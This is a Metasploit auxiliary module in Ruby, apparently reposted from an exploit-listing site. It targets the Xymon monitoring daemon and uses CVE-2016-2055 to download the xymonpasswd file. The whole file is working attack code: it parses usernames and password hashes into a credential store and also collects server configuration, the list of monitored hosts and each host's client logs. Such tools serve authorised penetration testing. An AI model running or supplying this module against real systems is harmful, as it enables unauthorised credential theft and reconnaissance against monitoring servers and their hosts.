Share
## https://sploitus.com/exploit?id=PACKETSTORM:180687
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Report  
  
def initialize  
super(  
'Name' => 'Xymon Daemon Gather Information',  
'Description' => %q{  
This module retrieves information from a Xymon daemon service  
(formerly Hobbit, based on Big Brother), including server  
configuration information, a list of monitored hosts, and  
associated client log for each host.  
  
This module also retrieves usernames and password hashes from  
the `xymonpasswd` config file from Xymon servers before 4.3.25,  
which permit download arbitrary config files (CVE-2016-2055),  
and servers configured with `ALLOWALLCONFIGFILES` enabled.  
},  
'Author' => [  
'Markus Krell', # CVE-2016-2055 discovery  
'bcoles' # Metasploit  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2016-2055'],  
['PACKETSTORM', '135758'],  
['URL', 'https://lists.xymon.com/pipermail/xymon/2016-February/042986.html'],  
['URL', 'https://xymon.sourceforge.net/'],  
['URL', 'https://en.wikipedia.org/wiki/Xymon'],  
['URL', 'https://en.wikipedia.org/wiki/Big_Brother_(software)']  
]  
)  
register_options [Opt::RPORT(1984)]  
end  
  
def xymon_send(cmd)  
vprint_status "Sending: #{cmd}"  
connect  
sock.puts cmd  
sock.shutdown(:WR)  
return sock.get(5)  
ensure  
disconnect  
end  
  
def run  
res = xymon_send('ping').to_s  
  
unless res.starts_with? 'xymond'  
print_error 'Target is not a Xymon daemon'  
return  
end  
  
version = res.scan(/^xymond ([\d\.]+)/).flatten.first  
  
unless version  
print_error 'Could not retrieve Xymon version'  
end  
  
print_status "Xymon daemon version #{version}"  
  
service_data = {  
address: rhost,  
port: rport,  
service_name: 'xymond',  
protocol: 'tcp',  
info: version,  
workspace_id: myworkspace_id  
}  
  
xymond_service = report_service(service_data)  
  
print_status 'Retrieving configuration files ...'  
  
%w(xymonserver.cfg hosts.cfg xymonpasswd).each do |config|  
res = xymon_send("config #{config}").to_s  
  
if res.blank?  
print_error "Could not retrieve #{config}"  
next  
end  
  
path = store_loot(  
"xymon.config.#{config.sub(/\.cfg$/, '')}",  
'text/plain',  
target_host,  
res,  
nil,  
"config #{config}",  
xymond_service  
)  
  
print_good "#{config} (#{res.size} bytes) stored in #{path}"  
  
if config == 'xymonpasswd'  
res.each_line.map {|l| l.strip}.reject{|l| l.blank? || l.starts_with?('#')}.each do |c|  
user = c.split(':')[0].to_s.strip  
hash = c.split(':')[1].to_s.strip  
  
print_good("Credentials: #{user} : #{hash}")  
  
credential_data = {  
module_fullname: fullname,  
origin_type: :service,  
private_data: hash,  
private_type: :nonreplayable_hash,  
jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),  
username: user  
}.merge(service_data)  
  
login_data = {  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::UNTRIED  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
end  
end  
  
print_status 'Retrieving host list ...'  
  
res = xymon_send('hostinfo').to_s  
  
if res.blank?  
print_error 'Could not retrieve client host list'  
return  
end  
  
path = store_loot(  
'xymon.hostinfo',  
'text/plain',  
target_host,  
res,  
nil,  
'hostinfo',  
xymond_service  
)  
  
print_good "Host info (#{res.size} bytes) stored in #{path}"  
  
hosts = res.each_line.map {|line| line.split('|').first}.reject {|host| host.blank?}  
  
if hosts.empty?  
print_error 'Found no client hosts'  
return  
end  
  
print_good "Found #{hosts.size} hosts"  
  
print_status 'Retrieving client logs ...'  
  
hosts.each do |host|  
res = xymon_send("clientlog #{host}")  
  
unless res  
print_error "Could not retrieve client log for #{host}"  
next  
end  
  
if res.blank?  
print_status "#{host} client log is empty"  
next  
end  
  
path = store_loot(  
"xymon.hosts.#{host}",  
'text/plain',  
target_host,  
res,  
nil,  
"clientlog #{host}",  
xymond_service  
)  
  
print_good "#{host} client log (#{res.size} bytes) stored in #{path}"  
end  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
rescue Timeout::Error => e  
print_error(e.message)  
end  
end